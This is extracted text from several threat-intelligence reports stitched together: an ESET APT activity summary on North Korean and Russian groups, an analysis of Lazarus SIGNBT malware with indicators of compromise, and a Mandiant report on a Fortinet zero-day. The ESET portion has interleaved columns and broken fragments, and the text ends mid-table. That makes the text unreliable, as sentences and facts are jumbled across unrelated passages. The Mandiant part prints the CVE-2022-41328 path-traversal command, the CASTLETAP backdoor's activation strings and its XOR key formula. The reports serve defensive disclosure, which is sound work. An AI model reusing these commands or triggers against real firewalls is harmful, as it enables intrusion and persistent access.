on North Korean matters. In this campaign, Kimsuky impersonates someone from a relevant community and distributes high-quality spearphishing emails, in the person s name, to other selected members of that community. This enables Kimsuky to gain the trust of its targets. Often, Kimsuky continues with the communication in a predefined way to establish SHA-1: 0105234C9FB904CC4BFD6EC0E1E78163B2F5825C SHA-1: E0795C874BD9BBDF71C10164C483357F759CB41E Figure 4. Decoy PDF document rapport with the target. Once a certain point in the communication is reached, Kimsuky sends a malicious attachment or link to the target. The intention is either to compromise the target s machine or to harvest credentials through a fake website mimicking a known service. The ultimate goal of the campaigns is usually to gather strategic intelligence. Figure 5. Decoy document screenshot of a Qbao cryptocurrency wallet PDF document Konni Konni ran several finance-themed campaigns targeting South Korea. The compromise chain consisted of spearphishing emails with a link to a ZIP file that contains a malicious LNK file. If the LNK file is executed, it runs PowerShell code that extracts both the decoy document and the actual payload from data appended to the LNK file. The payloads are commonly CAB or ZIP of a Qbao cryptocurrency wallet; see Figure 5. ESET APT ACTIVITY REPORT Executive summary Russia Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 19 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 20 Sandworm Gamaredon Turla Sednit Summary of Russia-aligned APT group activity seen by ESET Research in April 2023 September 2023 During the past six months, ESET researchers continued to observe activity command line utility for secure file deletion, SDelete (Secure Delete). of Russia-aligned APT groups mostly targeting Ukraine and EU countries. The functionality is like the older NikoWiper variant used in October 2022: These groups include Sandworm, Gamaredon, Turla, and Sednit, with at that time it was used against a company in the energy sector in Ukraine. Gamaredon being the group most active in targeting Ukraine. In this variant of NikoWiper, the attackers left the PDB path Sandworm In April 2023, CERT-UA published a notification about a cyberattack conducted by Sandworm against a government institution in Ukraine. Attackers deployed a malicious BAT script (named RoarBat), which performs data wiping operations using a legitimate WinRAR application. The script uses WinRAR.exe in command line mode to move files into an archive, and then deletes the original files once they have been added to the archive. In June 2023, we discovered another variant of RoarBat, deployed in a media organization in Ukraine, which is slightly different: specifically, it targets media files with extensions such as .drawio, .jfif, .mkv, .avi, .mxf, and .MTS, which are commonly found at media organizations. In July 2023, we detected two data wiping attacks conducted by Sandworm using a new version of NikoWiper6. This wiper was deployed against a government organization and private companies. It abuses a legitimate SHA-1: BBB7D42ADB6C6F6D3FEE3F80BEBD8CBED7FC3A94 c:\Users\Mykyta\Desktop\prjs\Chelomey\Release\Chelomey.pdb, which reveals that this malware project is probably named after Vladimir Gamaredon In the current reporting period, Gamaredon significantly improved its intelligence collecting capabilities. Specifically, it extended the functionality of existing tools and developed and deployed new tools to collect even more data from compromised computers. Chelomey, an engineer and designer in the missile program of the former In April, we discovered a new version of the PteroSteal credential stealer, Soviet Union. In addition, attackers left a false flag: they used the Ukrainian which is now capable of stealing credentials, and other information related given name Mykyta rather than the same Russian name Nikita. to email accounts, stored by the email clients Outlook and The Bat!. In August 2023, we detected a new wiper that we named SharpNikoWiper. In June, we discovered several new tools: SharpNikoWiper abuses the legitimate SDelete command line utility, as PteroCookie, which is capable of stealing cookies from Opera, Firefox, does NikoWiper, but unlike NikoWiper this variant is written in C#, hence the name SharpNikoWiper. In addition to data wiping using SDelete, this wiper attempts to rewrite with zeros the first 65,536 bytes of the first ten connected hard drives , if they exist, by writing directly to \\.\PhysicalDrive. During this period, we observed that Sandworm used a pro-Russian Telegram channel (@solntsepekZ) to promote information about cybersabotage operations it had conducted. This Telegram channel attempts groundlessly to blame CERT-UA and discredit its reputation. Chrome, and Edge. PteroSig, which is designed to exfiltrate information stored by the Signal desktop application. PteroGram, which exfiltrates data from the Telegram Desktop application. In August we discovered two new Gamaredon tools. First, PteroBleed is designed to exfiltrate IndexedDB data from Opera, Chrome, and Edge browsers. This tool specifically looks for data stored in this database by web ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 21 versions of Telegram and WhatsApp applications, and for data that might for Windows. This vulnerability allows attackers to trigger an NTLM be used by various Ukrainian military web services. The second tool we authentication request to an attacker-controlled server by sending a discovered that month is PteroScout, which is used for reconnaissance. It specially crafted meeting invite. Initially, this was a zero-day vulnerability gathers detailed information about the compromised system. disclosed in March 2023. A newer campaign was targeting organizations in Ukraine, Poland, and Czechia. Turla In July 2023, CERT-UA published a technical analysis of a new implant named CAPIBAR that it attributes to Turla. Using ESET telemetry, we were able to detect the deployment of CAPIBAR not only in Ukraine but also in Greece and Guyana. Most victims are governmental entities, a typical target of Turla. We believe that the initial access vector used to deploy the server component, acting as a C&C server for other victims, is known RCE vulnerabilities in Microsoft Exchange such as ProxyLogon and ProxyShell. Sednit In June 2023, we discovered a set of spearphishing campaigns, which we named Operation RoundPress, exploiting an XSS vulnerability in Roundcube (CVE-2020-35730); see an example in Figure 6. Using this vulnerability, attackers are able to inject malicious JavaScript code into the victim Roundcube webmail server. The injected code is able to steal emails, address books, and create forwarding rules to steal incoming emails. This campaign was also documented by CERT-UA and Recorded Future. According to our telemetry, Operation RoundPress targets government staff in Armenia, Tajikistan, and Ukraine. In August and September 2023, we detected an updated version of Operation RoundPress spearphishing, exploiting the same XSS vulnerability. Figure 6. Spearphishing email used in Operation RoundPress This campaign was targeting organizations in Serbia, Greece, Poland, and Ukraine. In August 2023, we detected a Sednit spearphishing campaign targeting the CVE-2023-38831 WinRAR vulnerability. This vulnerability allows attackers to execute arbitrary code with WinRAR versions prior to v6.23. According to Group-IB, it has been used in the wild since April 2023 by crimeware threat actors against traders. Sednit s emails used the agenda of the European parliament as a lure (see Figure 7) and targeted political entities in the EU and Ukraine. In August 2023, we detected a new set of spearphishing emails used by Sednit that exploit the CVE-2023-23397 vulnerability in Microsoft Outlook Figure 7. Targeted phishing using the European Parliament agenda as a lure In September 2023, CERT-UA published a notification about a Sednit spearphishing campaign, whose execution chain relies on the user manually clicking on a link in the email, which opens an archive, and then executes a BAT script from that archive. To the best of our knowledge, this was a completely manual execution chain, relying on the lure to motivate the user to click on the malicious BAT script. ESET APT ACTIVITY REPORT Executive summary Other Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 22 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other SturgeonPhisher Winter Vivern Other notable APT activities In this section, we review notable activities from https://akn[.]tj/down/Winrar.rar. Then it extracts groups with as yet unknown alignments. and executes the next stage contained in this second SturgeonPhisher SturgeonPhisher is a cyberespionage group that we archive: a .NET dropper and a custom Go backdoor we named GoBatDoor. Dear Colleagues, Due to the planned technical work, the Ministry's mail server https://. gov.ua/ may temporarily not respond to user requests. first introduced in our previous APT activity report Winter Vivern and that mainly targets governments in Central Asia. Winter Vivern is a cyberespionage group that we javascript">eval(atob(''));]:##str_replacement_0## a decline of SturgeonPhisher activity and we assessed In particular, it exploited an XSS vulnerability, that the group was busy retooling. CVE-2022-27926, in the Zimbra portal to target at least [WebResource: During the validation process, the malware decodes the first 12 bytes from the C2 server using base64, replacing the spaces with plus signs to create a seven-character string. This process is then repeated with the next 12 bytes. The first seven characters from each set are then XORed and compared to the success string. This repetitive procedure is applied to every HTTP communication sequence to verify that the response aligns with the expected success criterion. Next, the malware sends HTTP requests with the SIGNBTKE header, and if it receives a success message from the C2 server, it activates the getInfo function within the CCBrush class. This function gathers various information about the victim s computer, such as computer name, product name, OS details, system uptime, CPU information, system locale, time zone, network status, and malware configuration data. After sending this systemspecific information, the malware sends another HTTP request with the SIGNBTGC prefix, this time using a randomly chosen embedded HTTP parameter from a list of 100 possible parameter names. client, output, h, slotname, adk, adf, pi, w, format, url, ea, flash, tt_state, dt, bpp, bdt, idt, shv, ptt, saldr, frm, ife, pv, ga_vid, ga_sid, ga_hid, ga_fc, nhd, u_tz, u_his, u_java, u_h, u_w, u_ah, u_aw, u_cd, u_nplug, u_nmime, adx, ady, biw, bih, isw, ish, ifk, scr_x, scr_y, eid, oid, pvsid, pem, loc, eae, brdim, vis, rsz, abl, pfx, fu, bc, ifi, uci, fsb, dtd, atyp, ei, s, t, bl, imn, ima, imad, aftp, adh, conn, ime, imex, imeh, imea, imeb, wh, scp, net, mem, sto, sys, rt, zx, su, tb, calp, rui, u, XU, TREX, UID, SID, dr, XDR, dt 5/11 The data received from the C2 server is decrypted using AES with a decryption key obtained from a SIGNBTLG HTTP request. If the decrypted data is keep , the malware responds with message using the SIGNBTSR prefix, indicating a successful communication. If there are problems, the malware uses the SIGNBTFI prefix to convey the nature of the problem or failure in communication. To summarize, the C2 communication process can be described as follows: C2 communication process If the delivered data does not equal keep , indicating that specific instructions or actions are required, the malware proceeds to invoke the corresponding class and function for backdoor behavior. The SIGNBT malware is equipped with an extensive set of functionalities designed to exert control over the victim s system. To perform these functions, the malware receives instructions from the C2 server in the form of a class name, function name, and any necessary parameters. It then executes the relevant function embedded in the malware codebase. Class name Function name CCBrush getInfo, testConnect, setSleep, setHibernate, sendConfig, setConfig 6/11 CCList getProcessList, processKill, runFile, runAsUser, injectDll, freeDll CCComboBox getDriveList, getFileDir, changeFileTime, secDelete, folderProperty, changeFileName, makeNewFolder CCButton startDownload, upFile, selfMemload, scrCapture CCBitmap ping, netshAdvfirewall, netstat, reg, sc, whoami, arp, nslookup, systeminfo, ipconfig, net, ver, wmic, deploy, copy The name of each backdoor command is straightforward, implementing commonly used Windows commands such as ping, netstat, and systeminfo. It s important to note that the backdoor is capable of implanting an additional payload for auto execution, internally named deploy . This backdoor function receives file paths via command-line arguments decrypted with AES. Using this command, SIGNBT has been observed to implant the phantom DLL we already described in the SIGNBT loader section above. Based on the analysis, it is evident that the actor s initial compromise of the victim involved exploiting vulnerabilities within the software exploit. They then proceeded to deploy the SIGNBT malware using a DLL side-loading technique. Furthermore, the actor used the backdoor capability deploy to implant an additional payload for automated execution. This multifaceted attack demonstrates a high level of sophistication and a deliberate effort to infiltrate and maintain control over the victim s system. LPEClient Using the comprehensive backdoor as described above, the actor deploys additional malware in the victim s memory. Notably, these newly delivered malware variants predominantly execute in the system s memory only, without touching the disk. Based on our telemetry, the actor has been observed to deliver such tools as LPEClient and credential dumping utilities to the victim machines. Additional payload delivered by SIGNBT The LPEClient malware is not new and was first discovered during an investigation of a defense contractor attack in 2020. It is designed to collect victim information and download additional payloads from a remote server to run in memory. Although it has been previously 7/11 noted in our threat intelligence reports to our customers, recent discoveries indicate that LPEClient has undergone significant evolution. It now employs advanced techniques to improve its stealth and avoid detection, such as disabling user-mode syscall hooking and restoring system library memory sections. This indicates a continued effort by the threat actors to increase the sophistication and effectiveness of their malware. Connections with other campaigns One of the malware strains employed in this attack, known as LPEClient, has featured prominently in recent activity attributed to the Lazarus group. This particular malware consistently serves as the initial infection vector, enabling victim profiling and facilitating the delivery of additional payloads. Over an extended period of time, one of these campaigns specifically targeted defense contractors and nuclear engineers. In a recent incident, the threat actor compromised a victim by delivering LPEClient via a Trojanized VNC or Putty client for an intermediate infection. Another campaign targeting the cryptocurrency industry was discovered in July 2023. In this financially motivated campaign, the actor leveraged the Gopuram malware, associated with the 3CX supply chain attack. Interestingly, the actor also used LPEClient malware in this case. Prior to the introduction of the Gopuram cluster, LPEClient was used to deliver the subsequent malware. These three campaigns attributed to Lazarus in 2023 illustrate different initial infection vectors and infection chains, but they consistently relied on LPEClient malware to deliver the final payload. The infection chains of the three campaigns attributed to Lazarus in 2023 Conclusions 8/11 The Lazarus group remains a highly active and versatile threat actor in today s cybersecurity landscape. The threat actor has demonstrated a profound understanding of IT environments, refining their tactics to include exploiting vulnerabilities in high-profile software. This approach allows them to efficiently spread their malware once initial infections are achieved. Moreover, the activities of this notorious actor transcend geographic boundaries and industry sectors. They have targeted various industries, each with distinct objectives and using different tools, tactics and techniques. This underscores their recent and ongoing activity characterized by sophisticated methods and unwavering motivations. Indicators of Compromise SIGNBT loader 9cd90dff2d9d56654dbecdcd409e1ef3 88a96f8730b35c7406d57f23bbba734d 54df2984e833ba2854de670cce43b823 Ae00b0f490b122ebab614d98bb2361f7 e6fa116ef2705ecf9677021e5e2f691e 31af3e7fff79bc48a99b8679ea74b589 %system%\ualapi.dll %system%\ualapi.dll %system%\ualapi.dll %system%\ualapi.dll C:\GoogleD\Coding\JS\Node\winhttp.dll SIGNBT 9b62352851c9f82157d1d7fcafeb49d3 LPEClient 3a77b5054c36e6812f07366fb70b007d %systme%\wbem\wbemcomn.dll E89fa6345d06da32f9c8786b65111928 %ProgramData%\Microsoft\Windows\ServiceSetting\ESENT.dll File path C:\GoogleD\Coding\JS\Node\SgrmLpac.exe C:\GoogleD\Coding\JS\Node\winhttp.dll C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp C:\ProgramData\ntuser.008.dat C:\ProgramData\ntuser.009.dat C:\ProgramData\ntuser.001.dat C:\ProgramData\ntuser.002.dat C:\ProgramData\Microsoft\Windows\ServiceSetting\ESENT.dll C2 servers hxxp://ictm[.]or[.]kr/UPLOAD_file/board/free/edit/index[.]php hxxp://samwoosystem[.]co[.]kr/board/list/write[.]asp hxxp://theorigin[.]co[.]kr:443/admin/management/index[.]php hxxp://ucware[.]net/skins/PHPMailer-master/index[.]php 9/11 hxxp://www[.]friendmc[.]com/upload/board/asp20062107[.]asp hxxp://www[.]hankooktop[.]com/ko/company/info[.]asp hxxp://www[.]khmcpharm[.]com/Lib/Modules/HtmlEditor/Util/read[.]cer hxxp://www[.]vietjetairkorea[.]com/INFO/info[.]asp hxxp://yoohannet[.]kr/min/tmp/process/proc[.]php hxxps://admin[.]esangedu[.]kr/XPaySample/submit[.]php hxxps://api[.]shw[.]kr/login_admin/member/login_fail[.]php hxxps://hicar[.]kalo[.]kr/data/rental/Coupon/include/inc[.]asp hxxps://hspje[.]com:80/menu6/teacher_qna[.]asp hxxps://kscmfs[.]or[.]kr/member/handle/log_proc[.]php hxxps://kstr[.]radiology[.]or[.]kr/upload/schedule/29431_1687715624[.]inc hxxps://little-pet[.]com/web/board/skin/default/read[.]php hxxps://mainbiz[.]or[.]kr/SmartEditor2/photo_uploader/popup/edit[.]asp hxxps://mainbiz[.]or[.]kr/include/common[.]asp hxxps://new-q-cells[.]com/upload/newsletter/cn/frame[.]php hxxps://pediatrics[.]or[.]kr/PubReader/build_css[.]php hxxps://pms[.]nninc[.]co[.]kr/app/content/board/inc_list[.]asp hxxps://safemotors[.]co[.]kr/daumeditor/pages/template/template[.]asp hxxps://swt-keystonevalve[.]com/data/editor/index[.]php hxxps://vnfmal2022[.]com/niabbs5/upload/gongji/index[.]php hxxps://warevalley[.]com/en/common/include/page_tab[.]asp hxxps://www[.]blastedlevels[.]com/levels4SqR8/measure[.]asp hxxps://www[.]droof[.]kr/Board/htmlEdit/PopupWin/Editor[.]asp hxxps://www[.]friendmc[.]com:80/upload/board/asp20062107[.]asp hxxps://www[.]hanlasangjo[.]com/editor/pages/page[.]asp hxxps://www[.]happinesscc[.]com/mobile/include/func[.]asp hxxps://www[.]healthpro[.]or[.]kr/upload/naver_editor/subview/view[.]inc hxxps://www[.]medric[.]or[.]kr/Controls/Board/certificate[.]cer hxxps://www[.]muijae[.]com/daumeditor/pages/template/simple[.]asp hxxps://www[.]muijae[.]com/daumeditor/pages/template/template[.]asp hxxps://www[.]nonstopexpress[.]com/community/include/index[.]asp hxxps://www[.]seoulanesthesia[.]or[.]kr/mail/mail_211230[.]html hxxps://www[.]seouldementia[.]or[.]kr/_manage/inc/bbs/jiyeuk1_ok[.]asp hxxps://www[.]siriuskorea[.]co[.]kr/mall/community/bbs_read[.]asp hxxps://yoohannet[.]kr/min/tmp/process/proc[.]php MITRE ATT&CK Mapping Tactic Techniques Initial Access T1189 10/11 Execution T1203 Persistence T1547.012, T1574.002 Privilege Escalation T1547.012 Defense Evasion T1140, T1574.002, T1027.001, T1027.002, T1620 Credential Access T1003.001 Discovery T1057, T1082, T1083 Collection T1113 Command and Control T1071.001, T1132.002, T1573.001 Exfiltration T1041 Backdoor Lazarus Malware Descriptions Malware Technologies Targeted attacks Vulnerabilities and exploits A cascade of compromise: unveiling Lazarus new campaign Your email address will not be published. Required fields are marked * 11/11 Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation mandiant.com/resources/blog/fortinet-malware-ecosystem Cyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR) solutions such as firewalls, IoT devices, hypervisors and VPN technologies (e.g. Fortinet, SonicWall, Pulse Secure, and others). Mandiant has investigated dozens of intrusions at defense industrial base (DIB), government, technology, and telecommunications organizations over the years where suspected China-nexus groups have exploited zero-day vulnerabilities and deployed custom malware to steal user credentials and maintain long-term access to the victim environments. We often observe cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector. In this blog post, we describe scenarios where a suspected China-nexus threat actor likely already had access to victim environments, and then deployed backdoors onto Fortinet and VMware solutions as a means of maintaining persistent access to the environments. This involved the use of a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deployment of multiple custom malware families on Fortinet and VMware systems. Mandiant published details of the VMware malware ecosystem in September 2022. In mid-2022, Mandiant, in collaboration with Fortinet, investigated the exploitation and deployment of malware across multiple Fortinet solutions including FortiGate (firewall), FortiManager (centralized management solution), and FortiAnalyzer (log management, analytics, and reporting platform). The following steps generally describe the actions the threat actor took: 1. Utilized a local directory traversal zero-day (CVE-2022-41328) exploit to write files to FortiGate firewall disks outside of the normal bounds allowed with shell access. 2. Maintained persistent access with Super Administrator privileges within FortiGate Firewalls through ICMP port knocking 3. Circumvented firewall rules active on FortiManager devices with a passive traffic redirection utility, enabling continued connections to persistent backdoors with Super Administrator privileges 4. Established persistence on FortiManager and FortiAnalyzer devices through a custom API endpoint created within the device 5. Disabled OpenSSL 1.1.0 digital signature verification of system files through targeted corruption of boot files Mandiant attributes this activity to UNC3886, a group we suspect has a China-nexus and is associated with the novel VMware ESXi hypervisor malware framework disclosed in September 2022. At the time of the ESXi hypervisor compromises, Mandiant observed UNC3886 directly connect from FortiGate and FortiManager devices to VIRTUALPITA backdoors on multiple occasions. Mandiant suspected the FortiGate and FortiManager devices were compromised due to the connections to VIRTUALPITA from the Fortinet management IP addresses. Additionally, the FortiGate devices with Federal Information Processing Standards (FIPS) compliance mode enabled failed to boot after it was later rebooted. When FIPS mode is enabled, a checksum of the operating system is compared with the checksum of a clean image. Since the operating system was tampered by the threat actor, the checksum comparison failed, and the FortiGate Firewalls protectively failed to startup. With assistance from Fortinet, Mandiant acquired a forensic image of these failing devices, prompting the discovery of the ICMP port knocking backdoor CASTLETAP. Fortinet Ecosystem Multiple components of the Fortinet ecosystem were targeted by UNC3886 before they moved laterally to VMWare infrastructure. These components and their associated versions, at the time of compromise, are listed as follows: FortiGate: 6.2.7 FortiGate units are network firewall devices which allow for the control and monitoring of network traffic passing through the devices. FortiManager 6.4.7 The FortiManager acts as a centralized management platform for managing Fortinet devices. FortiAnalyzer 6.4.7 The FortiAnalyzer acts as a centralized log management solution for Fortinet devices as well as a reporting platform. Scenario #1 (Summary): FortiManager Exposed to the Internet Mandiant observed two distinct attack lifecycles where the threat actor abused Fortinet technologies to establish network access. The first occurred when the threat actor initially gained access to the Fortinet ecosystem while the FortiManager device was exposed to the internet. 1/21 During this attack lifecycle, as seen in Figure 1, backdoors disguised as legitimate API calls (THINCRUST) were deployed across both FortiAnalyzer and FortiManager devices. Once persistence was established across the two devices, FortiManager scripts were used to deploy backdoors (CASTLETAP) across the FortiGate devices. Mandiant observed SSH connections from the Fortinet devices to the ESXi servers, followed by the installation of malicious vSphere Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoors. This enabled the threat actor persistent access to the hypervisors, and allowed the attacker to execute commands on guest virtual machines. Mandiant has no evidence of a zero-day vulnerability being used to gain initial access or deploy the malicious VIBs at the time of writing this post. VIRTUALPITA and VIRTUALPIE were discussed in more detail in a previous Mandiant blog post published in September 2022. 2/21 Figure 1: Attack lifecycl e while FortiManager was accessible from the Internet Scenario #2 (Summary): FortiManager Not Exposed to the Internet 3/21 The second attack lifecycle occurred where the FortiManager devices had network Access Control Lists (ACL) put in place to restrict external access to only TCP port 541 (FortiGate to FortiManager Protocol). During this attack lifecycle, as seen in Figure 2, the threat actor deployed a network traffic redirection utility (TABLEFLIP) and reverse shell backdoor (REPTILE) on the FortiManager device to circumvent the new ACLs. With the redirection rules established by the TABLEFLIP utility, the threat actor was able to access the REPTILE backdoor directly from the Internet for continued access to the environment. Figure 2: Activity after Internet access restrictions implemented to FortiManager Scenario #1 (Detailed): FortiManager Exposed to the Internet The technical details that follow describe the attack path taken by the threat actor when the FortiManager was initially exposed to the Internet. THINCRUST Backdoor (Python-based Backdoor) Mandiant s analysis identified that upon initial connection to the FortiManager, the threat actor appended python backdoor code to a legitimate web framework file. Mandiant classified this new malware family as THINCRUST. The threat actor modified the legitimate file /usr/local/lib/python3.8/proj/util/urls.py to include an additional malicious API call, show_device_info , which can be seen in Figure 3. This allowed the threat actor to interact with the THINCRUST backdoor through POST requests to the URI /p/util/show_device_info 4/21 Figure 3: Comparison of urls.py When a POST request was sent to the show_device_info URL, it passed the request to the function get_device_info in /usr/local/lib/python3.8/proj/util/views.py . The get_device_info function contained the THINCRUST backdoor enabling the threat actor to execute commands, write files to disk, and read files from disk depending on the cookies provided in the POST request as seen in Figure 4. Figure 4: THINCRUST backdoor python code The get_device_info function relied on the presence of two (2) cookies, FGMGTOKEN and DEVICEID , within the POST requests. The FGMGTOKEN cookie is encrypted with an RSA key hardcoded into views.py and contained an RC4 key that decrypted the commands received through the DEVICEID cookie. The decrypted result of DEVICEID were a JSON encoded dictionary with the keys 'id' and 'key'. As seen in Table 1, the 'id' value determined which action to execute within the backdoor, and the value contained a string that acted as the arguments for the action being performed. Command Execute the command line stored in 'key' Write the contents of the HTTP request to the file stored in 'key'. The contents are RC4 encrypted Read the contents of the file stored in 'key' and transfer the contents RC4 encrypted to the client 5/21 Table 1: get_device_info backdoor capabilities While most files in views.py had the @login_required decorator applied to them [decorators are any functions (Syntax to call decorator: @) that extend the behavior of another function without explicitly modifying the code], the malicious function get_device_info utilized the Django python module native to the system to add a @csrf_exempt decorator to the function as seen in Figure 5. This means that the POST request to the malicious API call did not require a login or CSRF token to successfully run. Figure 5: @login_required vs @csrf_exempt decorators Mandiant identified that a variant of this malicious API call was also present on a FortiAnalyzer device. While the backdoor function in views.py , get_device_info , was the same as FortiManager, the API call used to access the backdoor was changed to /p/utils/fortigate_syslog_send on the FortiAnalyzer device, as seen in Figure 6. Figure 6: FortiAnalyzer variant of urls.py: fortigate_syslog_send Exploitation of CVE-2022-41328 on FortiGate Devices After persistence was established across the FortiManager and FortiAnalyzer devices with the THINCRUST backdoor, the threat actor deployed FortiManager scripts to multiple FortiGate firewalls. This activity was logged in the FortiGate elog as seen in Figure 7. vd="root" type="event" subtype="system" level="notice" logdesc="Upload and run a script" user= Fortimanager_Access ui="fgfmd" msg=" User Fortimanager_Access via fgfmd upload and run script: -- OK" Figure 7: FGFM script deployment log entry The threat actor deleted these FortiManager scripts from the FortiManager device before they could be recovered for analysis, but correlation of multiple event log types show that the scripts took advantage of a path traversal vulnerability (CVE-2022-41328). The vulnerability was exploited by the threat actor using the command execute wireless-controller hs20-icon upload-icon (as seen in Figure 8). This command allowed the threat actor to overwrite legitimate files in a normally restricted system directory. Normally, the execute wireless-controller hs20-icon upload-icon command is used to upload .ico files (icon files) from a 6/21 server to a FortiGate firewall using the File Transfer Protocol ( ) or Trivial File Transfer Protocol ( TFTP ), where they can be used in HotSpot 2.0 Online Sign-Up (OSU) portals. HotSpot 2.0 is a technology which allows for devices to seamlessly switch between cellular data and public Wi-Fi. However, the execute wireless-controller hs20-icon upload-icon command suffered from two issues. The command did not validate the type of file being uploaded and was susceptible to a directory traversal exploit allowing a threat actor with Super Administrator privileges to upload a file smaller than 65,535 bytes to any location on the file system. This means that outside of the size constraints of the command, a threat actor could replace any legitimate system file on the FortiGate firewall. Successful exploitation of the vulnerability (CVE-2022-41328) is not logged in FortiGate elogs. Around the time of the FortiManager script execution, the elogs recorded the threat actor s failed attempts to overwrite the system file /bin/lspci using this exploit, seen in Figure 8. execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci Figure 8: FortiGate elog failed command execution execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci Fortinet confirmed the exploitation of this command was not seen prior to these events and assigned the designation CVE-202241328. Fortinet successfully replicated the exploit using the syntax seen in the failed command events. Further supporting evidence of attempted exploitation was found in FortiGuard logs events with file_transfer: TFTP.Server.Buffer.Overflow repeated X times in the msg field. These events showed connections from the FortiGate firewalls to the FortiAnalyzer device, where the packet contents included the lscpi directory traversal string, as seen in Figure 9. A directory traversal string with the filename node was also referenced in a similar event, which is another binary in the /bin/ directory of a FortiGate 6.2.7 device, but Mandiant only observed the threat actor replacing the lscpi binary successfully. PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT 0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0 VUPg== Base 64 Decoded ..../../../../../../bin/lspci.octet. Figure 9: IPS Sensor Logs - Attack Context Field Symlink to Suspected Backdoor (/bin/lspci -> /bin/sysctl) Mandiant reviewed file listings from multiple FortiGate firewalls in search of modified versions of /bin/lspci based on the failed commands seen within FortiGate logs. In total, two variants of /bin/lspci were identified; a standalone version of the binary and a version which was symlinked to /bin/sysctl . Fortinet confirmed that /bin/lspci should always be a standalone binary. File listing entries for /bin/lspci and /bin/sysctl on the compromised FortiGate firewalls contained similar timestamps that did not align with other legitimate binaries on the FortiGate machines. Additionally, the file size for /bin/sysctl on the compromised FortiGate firewall was much larger than reported on non-compromised devices. Under normal circumstances, the command diagnose hardware lscpi is used to list PCIe devices connected to the FortiGate firewall, but once the threat actor replaced the legitimate lspci binary with a symlink, the diagnostic command could execute the sysctl file the threat actor modified instead. The file listing snippets in Figure 10 and Figure 11 highlight the differences across the original and modified versions of /bin/lspci and /bin/sysctl present on the FortiGate firewalls. 7/21 COMPROMISED-FGT101F # fnsysctl ls -la /bin lrwxrwxrwx 1 root root 9 Oct 18 13:09 lldptx -> /bin/init lrwxrwxrwx 1 root root 9 Oct 18 13:09 lnkmtd -> /bin/init lrwxrwxrwx 1 root root 11 Oct 19 05:11 lspci -> /bin/sysctl lrwxrwxrwx 1 root root 9 Oct 18 13:09 lted -> /bin/init lrwxrwxrwx 1 root root 9 Oct 18 13:09 memuploadd -> /bin/init 1 root root -rwxr-xr-x 1478216 Oct 19 05:11 sysctl Figure 10: Compromised FortiGate firewall with malicious entries for /bin/lspci and /bin/sysctl NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin lrwxrwxrwx Fri Sep 2 12:07:55 2022 9 lldptx -> /bin/init lrwxrwxrwx Fri Sep 2 12:07:55 2022 9 lnkmtd -> /bin/init -rwxr-xr-x Fri Sep 2 12:07:55 2022 lrwxrwxrwx Fri Sep 2 12:07:55 2022 9 lted -> /bin/init lrwxrwxrwx Fri Sep 2 12:07:55 2022 9 memuploadd -> /bin/init Fri Sep 2 12:07:55 2022 131736 lspci -rwxr-xr-x 251480 sysctl Figure 11: Non-Compromised FortiGate firewall with legitimate entries for /bin/lspci and /bin/sysctl In addition to the differences in modification time and size, the output of the file listing command fnsysctl ls -l /bin displayed multiple fields in different formats and order. This is likely due to the threat actor replacing /bin/sysctl and therefore changing the shell functionality on the FortiGate firewall. Changes made to the FortiOS file system are not persistent, so the files were unable to be recovered for analysis. By default, Fortinet devices running FortiOS have an archive on disk labelled rootfs.gz within the /data/ partition. Upon boot, this file is mounted as the root filesystem. This means if modifications are made to the mounted image, the changes will not be persistent unless they are written to the rootfs.gz archive. FortiGate firewalls do not support files being exported from the mounted filesystem during runtime. Since the modifications made to /bin/lspci and /bin/sysctl were not written to the rootfs.gz archive, they were not installed persistently and could not be further analyzed. Mandiant coordinated with Fortinet to obtain a forensic image of the compromised FortiGate firewalls and better identify the expected contents of the devices. Comparing the forensic image of the compromised FortiGate firewall to a known-good version, Fortinet identified a trojanized firmware that contained a persistent backdoor. Mandiant refers to the backdoor as a new malware family named CASTLETAP. CASTLETAP (FortiGate Firewall Backdoor) Analysis on the FortiGate firewalls identified an additional malicious file /bin/fgfm . Analysis of /bin/fgfm determined it to be a passive backdoor, named CASTLETAP, that listened for a specialized ICMP packet for activation. The threat actor likely named the file fgfm in an attempt to disguise the backdoor as the legitimate service fgfmd which facilitates communication between the FortiManager and FortiGate firewalls. 8/21 Once executed, CASTLETAP created a raw promiscuous socket to sniff network traffic. CASTLETAP then filtered and XOR decoded a 9-byte magic activation string in the payload of an ICMP echo request packet. Table 2 shows the magic strings interpreted by CASTLETAP and their resultant actions. Magic String Description 1qaz@WSXa Parse C2 information from ICMP payload and connect to it over SSL. hpaVAj2FJ Kills CASTLETAP process. Table 2: CASTLETAP magic string options To decode the C2 information within the ICMP packet, a single-byte XOR key was derived from the Epoch date stamp to decrypt the payload data. This meant the encoding standard changed every day. Figure 12 show the formula that was used to calculate the XOR key. ((year + 1900 + month * (year + 1900)) * date) % 255 year: index starting from 1900 i.e. current_year-1900 month: index starting from 0 date: index starting from 1 Figure 12: CASTLETAP XOR key calculation Table 3 defines the payload structure of the ICMP packet expected by CASTLETAP. Byte Index/Range Payload Section Description <0x00-0x01> <0x01-0x02> <0x02-0x0c> <9-byte magic string + null byte> <0x0c-0x10> <0x10-0x15> Table 3: 